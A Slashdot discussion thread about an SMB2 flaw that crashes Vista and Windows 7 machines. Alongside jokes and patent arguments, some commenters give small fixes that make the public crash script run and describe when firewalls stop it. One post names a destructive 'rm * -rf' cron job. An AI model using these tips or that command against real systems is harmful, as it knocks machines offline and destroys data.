Oh yeah these people do exist and they have 'FRIENDS' that 'KNOW' computers and 'HELP' them out by turning off that annoying UAC or giving them a 'FREE' version of office. The looks on their faces when I explain that the software they got off Limewire is infected with virus' - they can't believe microsoft would do that!!! THAT is the mentality, and that is why these attacks have always worked, and will always work.

Step two involves strategically placing words in all caps and building straw men to attack.

It amazes me these days for what passes as informative on slashdot.

Re:The difference is...

[RebelWebmaster]

No reasonable person would expect unit testing to produce bug-free software, but I don't think it would be unreasonable to say that it should at least be able to prevent regressions of previously-found bugs. If this is truly the same bug as was previously discovered and patched (and not some variant of it), why wasn't a test created to catch any reintroduction of it in all future builds?

Even if there was a test for SMB and not SMB2, wouldn't it have made sense to port whatever relevant tests existed for SMB to avoid any glaring regressions like this one?

I'm sure it's more complicated than I'm making it out to be, and I want to give them the benefit of a doubt on this, but it seems to me that this is something that could have been avoided with better planning.

Re:The difference is...

[Anonymous Coward]

Clearly amateurs like you don't even understand what an attack vector is.

GP is right, close the attack vectors, and you're not vulnerable. Whilst no patch exists it's exactly the right thing to do, in fact, it's really the only sensible thing to do.

The only other options at all are to switch OS, but Linux still is not ready for the desktop and MacOS X in a business environment is just a completely unfunny joke.

So whilst you troll away, the real world will do exactly as the GP said, because he's right, and by the sounds of it, you're the real amateur, the fact you don't even suggest an alternative and can't even say why the GP is wrong seems evidence enough of that.

Re:The difference is...

[Anonymous Coward]

Why is this standard behaviour a problem? If updates are scheduled at 3 o'clock in the morning it will run as soon as you start the computer. The standard shutdown method means it first installs the updates and then shuts down. This means these people will be far better updated than all those people that keep their computers up all the time.

Re:The difference is...

[Anonymous Coward]

Thank you, Mr. Ballmer, for the status update. I am sure the guilty have been punished appropriately, but there better be no 'next time'. We can't have Slashdot sniping at our security image every week.

Re:The difference is...

[Anonymous Coward]

I give people free copies of Office all the time, you insensitive clod!

Re:The difference is...

[Avalon73]

On the one hand you are able to finally discard the truly broken sections of your previous implementation...

Like the buggy interpretation of SO_REUSEADDR that allows something that should never happen (namely, more than one socket listening on a port at the same time)? I've been wanting to see that one die for the last 10 years...

Not a problem.

[onion2k]

It's incredibly unlikely to ever affect anyo

looks like ill

[nimbius]

need to rebind a key in fluxbox and dig out my "spank" keycap from 2003....this exploit was pretty effective though, being the modern day equivalent of a highway driver with a tow missile.

I knew Windows 7 was too good to be true

[commodore64_love]

- Shiny-new interface.
- No annoying "are you sure" popups every 30 seconds like Vista.
- Can run on a 1 gigabyte machine without slowing to a crawl.

It simply wasn't possible for Microsoft to make such a great perfect OS without including a flaw.

Re:I knew Windows 7 was too good to be true

[Anonymous Coward]

Mods on crack! That's not flamebait, that's fucking hilarious.

Re:I knew Windows 7 was too good to be true

[Anonymous Codger]

Shouldn't be modded Flamebait, humorless moderator.

It may be apocryphal, but I have read that Islamic makers of elaborate rugs always include a flaw somewhere in the design. Supposedly, attempting to create something perfect would be an affront to Allah, who is the only being who is perfect and who can create perfection. Maybe Balmer comes from a long line of Persian rug merchants.

Re:I knew Windows 7 was too good to be true

[Anonymous Coward]

If Allah feels threatened by a stupid rug that makes him a pretty lame deity IMO.

Re:I knew Windows 7 was too good to be true

[Dr_Barnowl]

Supposedly, attempting to create something perfect would be an affront to Allah, who is the only being who is perfect and who can create perfection.

Then surely the deliberate introduction of such flaws is the height of arrogance? They are assuming that they could have attained perfection, whereas even a rug that would be perfect to the human eye, is obviously little better than a puke-stained rag in the sight of Allah. He is truly merciful not to smite them most smite-ily for their presumption that they could even comprehend the nature of rug-perfection, let alone attain it!

Re:I knew Windows 7 was too good to be true

[Abreu]

I'll bite.

Theologically speaking, it's not to avoid "Allah feeling threatened and insecure".

The rug maker is just insuring himself that he won't fall to pride and hubris.

Re:I knew Windows 7 was too good to be true

[CorporateSuit]

I know I do the same thing with my code.

Except, instead one deliberate error that can be commented out, I make several dozen show-stopping errors that fabricate the very backbone of the project.

So I don't fall to pride and hubris, of course.

Re:I knew Windows 7 was too good to be true

[Dun Malg]

Don't forget "runs crabby old one-off [DOS|2K|XP] targetted microcontroller programming software without a hiccup". Vista barfed on that stuff religiously.

As for the SMB2 flaw... meh. These things are nearly always "chicken little" stories. When you think about it, this one's pretty much a non-starter. First, it has to come from inside the LAN. That means it'll have to come from a box that's been pwned! and controlled remotely. That immediately eliminates exploitation by the general Internet Fuckwad crowd, because you can't just use a locally run utility to send a "reboot packet" to any arbitrary IP address that they want to annoy. As much as I'd love to be able to send a "spank" packet to a jerk on the internet, this ain't gonna do it. What that leaves is the Zombie Net guys and the Disgruntled Employee. Zombie Net guys want to control the boxes secretly, to use them as tools for DDOS or email relay or what have you, so they're not going to really be motivated to add a function that potentially "outs" their conquests while also clobbering potential additional zombies. As for the Disgruntled Employee, this is largely a theoretical extreme case that doesn't actually happen in real life to any great degree. Most disgruntled employees don't have the time, the technical know-how, and/or the desire to craft the sort of software time bomb that would use this exploit. I'd lay money that malicious destruction via rm * -rf in a cron job is a greater threat.

Who does that leave?

Re:I knew Windows 7 was too good to be true

[Anonymous Coward]

Well, yeah. I know. I just think it's silly. It's false humility, at best. There's nothing to prevent the rug-maker from feeling proud despite this, when he makes a "perfect" rug, excepting the one design flaw that he's religiously included to keep him from feeling proud.

Re:I knew Windows 7 was too good to be true

[Andrew Cady]

Supposedly, attempting to create something perfect would be an affront to Allah, who is the only being who is perfect and who can create perfection.

Then surely the deliberate introduction of such flaws is the height of arrogance? They are assuming that they could have attained perfection, whereas even a rug that would be perfect to the human eye, is obviously little better than a puke-stained rag in the sight of Allah. He is truly merciful not to smite them most smite-ily for their presumption that they could even comprehend the nature of rug-perfection, let alone attain it!

OK, fine, it is the height of arrogance. Just so long as you buy that the flaw is deliberate...

Re:I knew Windows 7 was too good to be true

[Anonymous Coward]

It's about as lame as the Christian god being upset that someone "took his name in vain."

Re:I knew Windows 7 was too good to be true

[Anonymous Coward]

If a follower of $deity speaks ill of their god, you think less of them, their religion, and their deity. If a follower of $deity crafts a flawless rug, it doesn't negatively affect my opinion of their religion or deity.

Pretty nice

[FlyingBishop]

Although I don't think Windows 7's feature list is stable yet, and I expect to see this one pulled before the release.

Pity.

Re:Pretty nice

[David Gerard]

This is in the RTM gold master.

Re:Pretty nice

[shutdown -p now]

Although I don't think Windows 7's feature list is stable yet, and I expect to see this one pulled before the release.

Win7 RTM was already released to MS partners and MSDN and TechNet subscribers.

Re:Pretty nice

[miffo.swe]

"Win7 RTM was already released to MS partners and MSDN and TechNet subscribers."

Everyone who has been in the game for a while knows that Windows 7 SP3 is the RTM version. The current version is actually one of the betas, as this exploit clearly shows. Parent poster is sadly right in his assumtion.

Re:Pretty nice

[gparent]

So what? The RTM has been updating for weeks now. It'll be part of the first updates you install.

Re:Pretty nice

[Anonymous Coward]

It's funny because it's not true.

Re:First Post

[ZekoMal]

What's the second most popular post to make...oh yes:

You must be new here.

Just one word...

[quatin]

lollerskates

Not consistent

[james_a_craig]

Having actually tried this on three windows 7 machines now, it doesn't seem to work on every machine. (Actually, it's yet to work on any here, although I hear tell that it does work on some). There's something more to this than just "that data crashes it every time".

Re:Not consistent

[DoofusOfDeath]

Having actually tried this on three windows 7 machines now, ...

You must be popular with your coworkers.

Re:Not consistent

[Lulfas]

It's because SMB and SMBv2 are firewalled straight out of the box. You have to turn on homegroup and then attempt to exploit. Not quite the "OMG SKY IS FALLING" that the summary leads us to believe.

Re:Not consistent

[Anonymous Coward]

Works on Vista as well.

Re:Not consistent

[afidel]

Try it against a Server 2008 lab server with file shares, I'll bet that it will BSOD.

Re:Not consistent

[james_a_craig]

It's not just the firewall protecting them here. Both group policy prevents that in the first place, plus the script won't connect successfully with the firewall in the way. That's tested against both 64 and 32 bit Windows 7 installs done from the RTM build, by the way.

Re:Not consistent

[james_a_craig]

All three are my own actually - one of the perks of SA roles, you get machines to play with. :)

Re:Not consistent

[Bluecobra]

The python script crashes my Windows 7 RC machine (build 7100) at work quite nicely. I should mention that I needed to add "import socket" and change "s = socket()" to "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)". My software firewall is turned off as well.

Re:Not consistent

[jedidiah]

So... the native file sharing protocol for Windows is FIREWALLED by default?

That's sure going to be a boon for usability.

Re:Not consistent

[ShadowRangerRIT]

Presumably, if you actually share files out, it will unblock the relevant port. If you aren't sharing anything, it *should* be blocked.

Re:Not consistent

[miffo.swe]

Id love to see you handle a large network where a disgruntled employee runs this as a script against your servers, or any school network. Imagine a good hacker in Iran/Afganistan combining this script with a couple of viruses and getting it into a large network like a governmental institution.

This is a very serious DoS since it kills the entire box, not just the faulty service. I dont think the other people on the network thinks its ok when every service serviced by Windows 2008 on the network disappears.

Re:Not consistent

[Blakey Rat]

So... the native file sharing protocol for Windows is FIREWALLED by default?

And when it wasn't firewalled by default, Slashdot celebrated the high security of default Windows installs!!!

Damned if they do, damned if they don't, right? You can't have it both ways: either Windows is secure or it's usable. If you wanted it usable, you should have stopped griping about how insecure it was.

Re:Not consistent

[nmb3000]

Having actually tried this on three windows 7 machines now, it doesn't seem to work on every machine. (Actually, it's yet to work on any here, although I hear tell that it does work on some).

We have a couple Windows 7 Ultimate x64 installs here (the RTM version downloaded from TechNet - not the RC or beta) so I thought I'd see if it worked on them.

As mentioned in another comment, in order to get the script to work as intended, you have to change it so that you "import socket" and define s as "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)". After doing this I was still unable to get any of the Win7 installs to crash (the connect() call succeeded, but the machine did not crash). These have firewalls off, sharing enabled, etc.

What's more interesting, however, is that I was able to get two different fully patched Vista Enterprise x86 boxes to BSoD using the script. I haven't tried it on our 2008 R2 server just yet. It's kind of busy, um, serving.

Has anyone here actually managed to crash Win7 RTM using this vulnerabilty?

Re:Not consistent

[jedidiah]

Well, if Microsoft can't manage something this simple without it being a
total security disaster then perhaps it's time for more people to start
using Linux or MacOS. This is nothing to "sweep under the rug". This is
stuff that should be getting more rubust and more safe over time as more
people and companies get used to using features like this.

Oddly enough it's pretty easy to enable the ssh server in MacOS. It's there
but not turned on by default and very easy to switch on. You don't have to
make it a disaster to make it easy. Apple has been proving this for decades.

Re:Not consistent

[Blakey Rat]

Oddly enough it's pretty easy to enable the ssh server in MacOS. It's there
but not turned on by default and very easy to switch on. You don't have to
make it a disaster to make it easy. Apple has been proving this for decades.

Uh, if you turn on file sharing in Windows, it automatically adds a rule to the firewall to allow it. Which is the exact same thing Apple does for SSH. So I have no clue what your complaint actually is-- "Enabling SSH in OS X is exactly as easy as enabling file-sharing in Windows, therefore Apple is better!"

Re:Not consistent

[ninjanissan]

I've also tried the script found on insecure.org on a Windows 7 machine, and it didn't work (added the missing "from socket import *" at the start).

Re:Not consistent

[jedidiah]

Except that's not what was said at all.

The initial Lemming reaction was to make excuses rather than uesful corrections.

Re:Not consistent

[Blakey Rat]

What, exactly, is "not what was said at all?" Said by whom? "The initial Lemming reaction?" What is that?

Is your post in code? I have absolutely no idea what you're trying to tell me.

Re:First Post

[commodore64_love]

"Commodore Amiga is better!"
"No Atari ST is better!"
"No Amiga!"
"No Atari!"
"Amiga!"
"Atari!"

Oh that's not the debate you were looking for? Sorry. Let me update that ancient debate for the modern world:
"Apple Macintosh is better!"
"No Microsoft PC is better!"
"No Apple!"
"No Microsoft!"
"Apple!"
"Microsoft!"

(and ancient debate... just as juvenile today as it was 20 years ago)

Correction!

[David Gerard]

I was terribly unfair to Microsoft in the story summary (which is pretty much what I wrote) - per TFA, this flaw is actually an exciting new feature of Vista, not of Windows 7.

And before anyone says "but Win7 is beta!" - this flaw is present in the gold master.

Re:Correction!

[Anonymous Coward]

And not exploitable out of the box since SMB and SMBv2 are both firewalled. Yes, if you turn on homegroup, you are opening SMBv2 through the firewall, but only for the private network - so the exploit would need to be coming from another machine at your house. All in all, a nasty issue but won't really affect that many people.

Re:Correction!

[Anonymous Coward]

And before anyone says "but Win7 is beta!" - this flaw is present in the gold master.

Really? I was going to argue Vista is the beta one.

Re:Correction!

[cyber-vandal]

At your house? Or in your organisation or on your battleship or any of the millions of places that Windows is used.

Re:Correction!

[Anonymous Coward]

David "Lemon party" Gerard is busy shilling for Firehose votes over at the Den of paranoia, who also sponsor Slashdot's favorite troll.

Coincidence.

Re:Correction!

[Anonymous Coward]

Hi David,

Hate to slash(dot) on your bonfire but...

http://news.cnet.com/8301-13860_3-10347289-56.html?tag=mncol;posts

It's in the RC but it ain't gone gold kiddo.

Ahh, nice to see ...

[UncHellMatt]

...that my fellow Boston Public School graduates are writing for seclists.org.

Section V: "An attacker can remotly crash without no user interaction, any Vista/Windows 7 machine with SMB enable. "

Yes, because we been done had seen that explot in the pasts.

Dear $DEITY, are there no proof readers or editors alive on these sites?

Re:Ahh, nice to see ...

[gclef]

It's the full-disclosure mailing list....be happy it's not in leet.

Re:Ahh, nice to see ...

[Anonymous Coward]

Dear $DEITY, are there no proof readers or editors alive on these sites?

Dear UncHellMatt,

It's "proofreaders".

Love,
$DEITY

Re:Ahh, nice to see ...

[UncHellMatt]

*ahem*

It would seem I need one myself... There must be some law (such as Godwin) which states that any post calling someone out for poor grammar, spelling or punctuation will have X chance of containing one as well.

Re:Ahh, nice to see ...

[Wintermute__]

*ahem*

It would seem I need one myself... There must be some law (such as Godwin) which states that any post calling someone out for poor grammar, spelling or punctuation will have X chance of containing one as well.

Containing one what, exactly?

Re:Ahh, nice to see ...

[Anonymous Coward]

...that my fellow Boston Public School graduates are writing for seclists.org.

Section V: "An attacker can remotly crash without no user interaction, any Vista/Windows 7 machine with SMB enable. "

Yes, because we been done had seen that explot in the pasts.

Dear $DEITY, are there no proof readers or editors alive on these sites?

Behold, I am $DEITY, To answer your question, no there are not.

Re:Ahh, nice to see ...

[Anonymous Coward]

You're thinking of Muphry's Law.

IP Reasons for SMB2

[eldavojohn]

they don't like introducing "new" things

A slight correction, they like to introduce new things when it suits them. Why the rewrite of SMB into SMB2? Well, it has some technological advantages you would expect but according to Wikipedia:

SMB 2 has two big benefits to Microsoft. The first is clear intellectual property ownership. SMB 1 was originally designed by IBM and was shipped on a wide variety of non-Windows operating systems such as SCO Xenix, OS/2 and DEC VMS (Pathworks). It was partially standardised by X/Open and also had draft standards for IETF which lapsed. (See http://ubiqx.org/cifs/Intro.html for historical detail).

The second benefit is a clean break. Microsoft's SMB1 code has to work with a huge variety of SMB clients and servers. A large number of items in the protocol are optional (such as short and long filenames), there are many infolevels for commands (selecting what structure is returned to a particular request), Unicode was a later addition etc. With SMB2 there is significantly reduced compatibility testing (currently only other Windows Vista clients and servers). Additionally the code is a lot less complex since there is far less variability (e.g. there is no need to worry about having Unicode and non-Unicode code paths as SMB2 requires Unicode support).

So you can see they like to introduce new things when it means they have clear intellectual property ownership rights over it and also a lot less work for them. They also don't have to be backwards compatible with their own products.

While SAMBA 4.0 has experimental support for SMB2 interfacing, I'm guessing the "clear intellectual property" could spell trouble moving forward for Tridgell and the SAMBA team.

Re:IP Reasons for SMB2

[AndrewNeo]

No, it won't. The specs are right here.

Re:IP Reasons for SMB2

[leromarinvit]

Probably not technical problems, but maybe legal ones. See that paragraph about patents? Neither the Open Specification Promis nor the Community Promise (both linked) cover SMB2.

Re:IP Reasons for SMB2

[eldavojohn]

No, it won't. The specs are right here.

"No, it won't" what? Possibly spell problems for the Samba team? From your link:

Patents. Microsoft has patents that may cover your implementations of the technologies described in the Open Specifications. Neither this notice nor Microsoft's delivery of the documentation grants any licenses under those or any other Microsoft patents. However, a given Open Specification may be covered by Microsoft's Open Specification Promise (available here: http://www.microsoft.com/interop/osp) or the Community Promise (available here: http://www.microsoft.com/interop/cp/default.mspx). If you would prefer a written license, or if the technologies described in the Open Specifications are not covered by the Open Specifications Promise or Community Promise, as applicable, patent licenses are available by contacting iplg@microsoft.com ...

Emphasis mine. So I'll correct myself, it may spell trouble for the Samba team. It's not clear. Which is essentially what I said. Do you really think iplg@microsoft.com will grant the Samba team a written license or possibly a patent license?

Why do they use the ambiguous language quoted above if this is an open technology I'm not suppose to fear implementing? I mean, haven't we been threatened over this sort of thing before? It's not clear to me why Microsoft stops other products from interfacing with theirs (product lock in?) but I'm not about to give them the benefit of the doubt.

Re:IP Reasons for SMB2

[BassMan449]

Did you read the link?

Patents. Microsoft has patents that may cover your implementations of the technologies described in the Open Specifications. Neither this notice nor Microsoft's delivery of the documentation grants any licenses under those or any other Microsoft patents. However, a given Open Specification may be covered by Microsoft's Open Specification Promise (available here: http://www.microsoft.com/interop/osp ) or the Community Promise (available here: http://www.microsoft.com/interop/cp/default.mspx ). If you would prefer a written license, or if the technologies described in the Open Specifications are not covered by the Open Specifications Promise or Community Promise, as applicable, patent licenses are available by contacting iplg@microsoft.com..

I checked both the Open Specification Promise and the Community Promise and SMB2 is not covered by either. Just because Microsoft published the spec doesn't mean they won't sue you for patent infringment.

Re:IP Reasons for SMB2

[agnosticnixie]

How much can we bet that it's to use as a justification if somebody tries to use "clean room implementation" as a defense like could be done with Samba?

Re:IP Reasons for SMB2

[Anonymous Coward]

Yeah, shame on microsoft for switching to a share protocol with native support for unicode and long filenames. Besides, who uses long filenames? Bring back 8.3 filenames!

Re:IP Reasons for SMB2

[Anonymous Coward]

That would be VERY interesting to watch. With beer & crisps. Let's pray that Microsoft tries this, after all that has gone on before.

Re:IP Reasons for SMB2

[phorm]

Correct me if I'm wrong, but aren't there in many cases allowances specifically made for inter-operability/compatibility?

Re:IP Reasons for SMB2

[Anonymous Coward]

So you can see they like to introduce new things when it means . . . a lot less work for them.

Perish the thought!

Re:IP Reasons for SMB2

[FreelanceWizard]

SMB 1.0 is covered by at least one patent, and Microsoft has applied for a patent on SMB 2.0.

Neither protocol is covered by the Open Specification Promise or the Community Promise.

So, yes, there's a potential patent issue looming here. The EU judgment quoted below is interesting in that it only requires Microsoft allow use of the interoperability information on "reasonable and non-discriminatory" terms, which means they could simply charge the same amount for a license to the Samba developers as they do to other companies. Depending on the nature of the patent license, that could run afoul of the GPL (if the license fee is per distributed copy, for instance, or only allows software distribution by the patent licensee -- both of which would restrict the redistribution rights of subsequent users and violate the GPL's terms).

Frankly, I feel they ought to put SMB under the Open Specification Promise, but it's entirely possible there's some patents lurking there that are licensed by Microsoft that'd make that impossible.

Re:IP Reasons for SMB2

[GravityStar]

Do you really think iplg@microsoft.com will grant the Samba team a written license or possibly a patent license?

Has anyone asked?

Re:First Post

[Rik Sweeney]

Let me Loony Tunes that up for you:

Wabbit Season!
Duck Season!

Wabbit Season!
Duck Season!

Re:First Post

[Anonymous Coward]

Apple was better then too.

I'll be suprised if this affects anyone.

[jim_v2000]

IT departments are going to keep everything patched, and individuals aren't going to do it to themselves on their LANS. Between firewalls and NATs, it's not going to happen over the internet. Really, the only situation that I can imagine this happening is perhaps on a university network.

Re:I'll be suprised if this affects anyone.

[jgtg32a]

Or maybe they won't patch this and use it to punish annoying users

Re:I'll be suprised if this affects anyone.

[Psx29]

What about open WiFi networks in public places?

Re:I'll be suprised if this affects anyone.

[leromarinvit]

Really, the only situation that I can imagine this happening is perhaps on a university network.

Nah, those communist hippie students all use Linux anyway.

Disclaimer: I'm a student and I use Linux. :-)

Re:I'll be suprised if this affects anyone.

[Krneki]

Of course, impossible scenario.

Infect one PC inside the network and let the new virus BSOD everything inside the LAN.

Re:I'll be suprised if this affects anyone.

[Krneki]

The same as using WAN/LAN connection without a firewall.

Happy BSOD day. :)

Re:I'll be suprised if this affects anyone.

[Rich0]

Yup - this could never impact anybody.

Why, the ports used to trigger this exploit are like the DCOM RPC ports and MS-SQL ports - nobody allows those to be accessed over the internet which is why we've never had any large-scale worms take advantage of them...

Re:I'll be suprised if this affects anyone.

[jim_v2000]

When was the last time that you saw a large-scale worm attack?

(I'm actually curious because I can't remember. Seems like it's been years.)

Re:I'll be suprised if this affects anyone.

[jim_v2000]

"Infect one PC inside the network and let the new virus BSOD everything inside the LAN."

Yeah, assuming that a majority of people on the network have disabled Windows Update.

Re:I'll be suprised if this affects anyone.

[rabbit994]

When Windows 7 pops up and asks you what type of network is this and you say "Public", guess what gets firewalled off? I've tried this on my Windows 7 lab computers. If you mark the network as public or disabled file sharing (which is default), Windows firewall will stop this one cold. While this is pretty big "oops", in the real world, it's pretty minor and should be patched before "unwashed masses" get ahold of Windows 7.

Question I have, was Microsoft notified about the problem before this disclosure or was someone trying to build up "street cred" by disclosing early?

Re:I'll be suprised if this affects anyone.

[xororand]

November 2008: Conficker
Windows RPC service, TCP port 445.

Re:I'll be suprised if this affects anyone.

[spacefiddle]

IT departments are going to keep everything patched, and individuals aren't going to do it to themselves on their LANS.

lolwut?

In other news, management will stop overriding IT's security concerns for the sake of convenience and/or budget, and users will stop clicking random facebook links when bored at work. Are you kidding? Which internet do you spend your time on? 'Cause in the one i frequent, most security problems are caused precisely BECAUSE of a delectable combo of unpatched vulnerabilities, and user gullibilities.

Re:I'll be suprised if this affects anyone.

[jim_v2000]

LOL, how did I forget that one? I suppose being barricaded in my little LAN helped.

Re:I'll be suprised if this affects anyone.

[Anonymous Coward]

No, IT depatments are rapidly moving away from Microsoft because they are sick'n'tierd of all their bugs.
That is of course classified information, we must think about the shareholders.

Re:I'll be suprised if this affects anyone.

[SheeEttin]

individuals aren't going to do it to themselves on their LANS

You severely overestimate the average user. They'll run anything with the promise of, say, porn.

Re:I'll be suprised if this affects anyone.

[SchizoStatic]

Most "open wifi's" at coffee shops block local access to other machines via the wifi at the router level.

Re:I'll be suprised if this affects anyone.

[rantingkitten]

Unless you're the kind of hapless user who needs to call equally hapless helpdesk idiots, whose solution is frequently "put the computer on the DMZ, okay, there, it works" and call it Mission Accomplished. Presto, a machine ripe for exploitation.

Re:I'll be suprised if this affects anyone.

[socceroos]

You're absolutely right. You know how the Win7 RC's are going to be shutting down mid next year unless you get a licence? Yes, yes......I think I see their plan.

Re:I'll be suprised if this affects anyone.

[mvdwege]

On a properly run network, that is not a bad assumption. You do not want people updating their workstations yourself.

Mart

Re:I'll be suprised if this affects anyone.

[jim_v2000]

Then it's also not a bad assumption that on a properly run network, machines will be up-to-date and anyone caught sending malformed SMB2 headers to crash someone's computer will be fired/removed from the network.

Not even local?

[Anonymous Coward]

Windows 7 enables firewall by default, so wouldn't it practically stop this anyways for ordinary clients?

Re:Not even local?

[Anonymous Coward]

SMB is a critical part of the network stack. You cannot firewall it.

Please grow up, you're driving us away

[Anonymous Coward]

Hi. I'm an adult. I work as a software engineer.

I cannot join in with the Linux community because of you people. You're just *too awful*. Instead of accepting that this stuff happens and it's bad, you childishly nerdsnort and start writing Microsoft with a dollar sign instead of an S, acting as if this stuff is some amazing manifestation of idiocy rather than a likely consequence of using a mainstream OS developed with time and budgetary constraints. It's going to have stupid bugs. Get the fuck over it.

I would like to join in with the Linux community, but all I ever hear is this pathetic nyerr-nyerr-nyerr garbage.

If you want to attract intelligent, grown-up people to Linux you need to stop doing certain things.

1) Don't act as if users of other operating systems are less intelligent than you. It turns out that Linux-advocacy isn't the entire world, and that leaders in different fields (or even this one!) might be using Windows. They're not "lusers", they just have priorities different from your own.

2) Don't act as if Linux hasn't had equally stupid stuff happen to it. Yes, it's a different process altogether, and I would dare say that bugs are less likely due to its open source nature, but they still happen. One that I can remember off the top of my head is Debian's guessable SSL keys.

3) Try—for ten minutes—to give the impression that half of your time isn't devoted to bashing an OS you believe is irrelevant.

4) For good measure try cutting out the xkcd worship and meme-spouting. We might be able to relate to you people if you acted as if you weren't cut from the same distasteful mold.

Re:Please grow up, you're driving us away

[Anonymous Coward]

If I had mod points or knew how they worked I'd mod you up.

Except I actually quite like xkcd. but appart from that...

Re:Please grow up, you're driving us away

[Anonymous Coward]

Also, try to be *accurate*. The linked bulletin CLEARLY states this bug was (re)introduced in Vista. This entry is just another in a long line of Windows 7 bashing circle-jerks. Slashdot has really taken a dive in recent years.

Pro-tip 1: fire kdawson.
Pro-tip 2: kill Idle.

Re:Please grow up, you're driving us away

[Anonymous Coward]

The pubertal masses of Slashdot != The Linux community

Re:Please grow up, you're driving us away

[Anonymous Coward]

Dammit Dad, you're such a buzzkill.

Re:Please grow up, you're driving us away

[Mornedhel]

Hi. I'm an adult. I work as a software engineer.

[cut a lot of things I happen to agree with]

4) For good measure try cutting out the xkcd worship and meme-spouting. We might be able to relate to you people if you acted as if you weren't cut from the same distasteful mold.

I agree that old memes just copypasted onto anything can be tiring. But half the fun in reading Slashdot is seeing Slashdot memes cleverly reinvented (a Russian reversal is still funny if it applies). I don't want to see the memes go away.

Also, with my current threshold settings, I can see only one meme (of the "$%*ÂNO CARRIER" kind) and no stupid bashing or "Microsh*t". You may be overreacting.

Re:Please grow up, you're driving us away

[Anonymous Coward]

Oh ya, and
5) Get Off My Lawn!

Re:Please grow up, you're driving us away

[bflong]

You're in the wrong place. You won't find a high percentage of adult, intelligent people here, and those that are are not very vocal. Maybe a long, long time ago, but no more. As someone else already said Slashdot != Linux Community.

Re:Please grow up, you're driving us away

[Anonymous Coward]

Yes, use Windows because none of that ever happens.

Great strawman argument, btw. We should ignore vulnerabilities in microsoft software because some precious flowers don't want their sensibilities offended.

Re:Please grow up, you're driving us away

[Anonymous Coward]

He said nerdsnort.

Re:Please grow up, you're driving us away

[Anonymous Coward]

Dear Anonymous Coward,

Please do not lump all Linux users under the same tree. Most of us that has reached past our first 20-or-so years have gone past the Microsoft hate and like Linux for what it is, not because we dislike MS or Windows. Forgive our immature teenage hacker boys, they've yet to grow up, get a life and get a girlfriend.

Sincerely,
A Linux User

Re:Please grow up, you're driving us away

[Krneki]

Trolls are OS independent. :)

Re:Please grow up, you're driving us away

[Anonymous Coward]

Dear User. It's a shame you cannot join linux community. We will be missing you and your valuable posts including:

1) Your thoughts on what should be fixed in 'linux'

2) Numerous (yet not very useful) descriptions of problems you encountered with 'linux' and demands to fix them

3) Comparing 'linux' to windows every time a new ubuntu or windows release is out

4) Screenshots of your desktop & stories about your friends seeing you use 'linux'

Re:Please grow up, you're driving us away

[Anonymous Coward]

Hi. I'm an adult. I work as a software engineer.

You are a scrub. That is all.

Re:Please grow up, you're driving us away

[Anonymous Coward]

Don't act as if users of other operating systems are less intelligent than you

Everyone knows using linux makes you smarter. If any, it'l learn you how to use google. Better even: it'l learn you how to use google without a graphics or network adapter working on your box.

(if you think this is a flame, think twice.)

Re:Please grow up, you're driving us away

[JasterBobaMereel]

Slashdot is not the Linux Community

1) People who use windows are not stupid, they either like it, prefer it, are unaware of alternatives, or are forced to .... people who constant claim it is the most wonderful thing and flawless however consider stupid .... just like mindless Linux advocates

2) Yes this has happened in Linux, but as you pointed out Windows is a mainstream commercial product and has, I assume, a whole department paid to do regression testing, checking for likely flaws, checking and rechecking.... and this slipped through

3) Slashdot is not the Linux Community

4) Slashdot is not the Linux Community

Re:Please grow up, you're driving us away

[nschubach]

Precisely, that's like saying that the Orthodox Church fully represents all religions.

Re:Please grow up, you're driving us away

[tdobson]

You must be new here.

Re:Please grow up, you're driving us away

[Anonymous Coward]

The pubertal masses of Slashdot != The Linux community

No shit, but you guys certainly align yourselves with it and give it a shitty image. All it takes is one person in a club of a hundred to tarnish the clubs image or one incident to fuck up an image. What was that joke about the old constructor? "I built the old church up on the east hill. I built the schoolhouse over on the outside of the city! I built fives houses for the poor with my own hands! They could've called me Billy the builder! The constructor! But no... ya fuck one goat..."

Re:Please grow up, you're driving us away

[Ash-Fox]

I cannot join in with the Linux community because of you people.

I'm sorry, Sir. This is not the Linux community, this is the Slashdot community.

If you want the Linux community, go to http://www.kernel.org/

I would like to join in with the Linux community, but all I ever hear is this pathetic nyerr-nyerr-nyerr garbage.

If you look on kernel.org, there is none of this garbage. You are mistaken.

Re:Please grow up, you're driving us away

[machine321]

4) For good measure try cutting out the xkcd worship and meme-spouting. We might be able to relate to you people if you acted as if you weren't cut from the same distasteful mold.

All your ping are belong to us!

Mmmm.... distasteful mold.

Re:Please grow up, you're driving us away

[Anonymous Coward]

Don't confuse us lot (/. commenters) with them lot ("linux community")

Re:Please grow up, you're driving us away

[rcamans]

Please try to remember that /. is the bottom of the computing world - literally.
Apparently, most of /. lives in their mother's basements. Fortunately, they cannot reproduce there, except as mold cultures, as women do not venture into basements (at least not after the horror movies trained them to be afraid, be very afraid).
And the commenting on /. shows it is full of bottom feeders.
So go at linux like crazy.

Re:Please grow up, you're driving us away

[Anonymous Coward]

Who said anything about Linux?

Re:Please grow up, you're driving us away

[alexhs]

Could the mods please mod the AC parent back to (-1, Troll) ?

It's a strawman.

I could also make generalisations about the "Windows community" being only a bunch of chills, or the "Mac community" being only a bunch of fanboys, and even find plenty of exemples in diverse forums to support my point.

That wouldn't make my comment insightful.

Re:Please grow up, you're driving us away

[natehoy]

Hi, I'm also an adult, and I also work as a software engineer.

>>I cannot join in with the Linux community because of you people.

So to keep you from joining a community, all I need to do is act poorly and pretend to be a member of that community? Wow, there can't be a lot of communities that meet that standard of purity. There are asshats in pretty much every community or movement.

A great number of Linux users, and even contributors, also use Windows, and use both as a tool appropriate to the job at hand. Most Linux project managers and major contributors don't have time to post to slashdot, and don't get into pissing matches over whose digital penis is larger. There are vocal proponents of Linux, and those that like to copy-paste the "Death to M$" meme, but a Linux contributor who seriously wants to kill Microsoft will be out there writing code or documentation, not wasting their time bashing Microsoft on slashdot.

Try Linux or don't - but don't avoid it just because there are a good number of people with lots of free time out there representing "the community" poorly. Also, don't make the mistake of assuming that Linux is an organized, centralized movement with some form of control emanating from the center. Linux is not a company. It's not a bureaucracy. It's a movement - with lots of different people moving in lots of different directions with lots of different goals and aspirations. Some go about their business more politely than others.

Most people seriously involved in the Linux movement don't really care one way or the other about Microsoft. It's not that they see Microsoft as irrelevant to the world at large, they are writing what they want. Microsoft really only becomes relevant when they threaten to enforce patents which they have used their majority desktop share to implement as "standards", and you can see they might react with something entirely unlike joy and adulation. :)

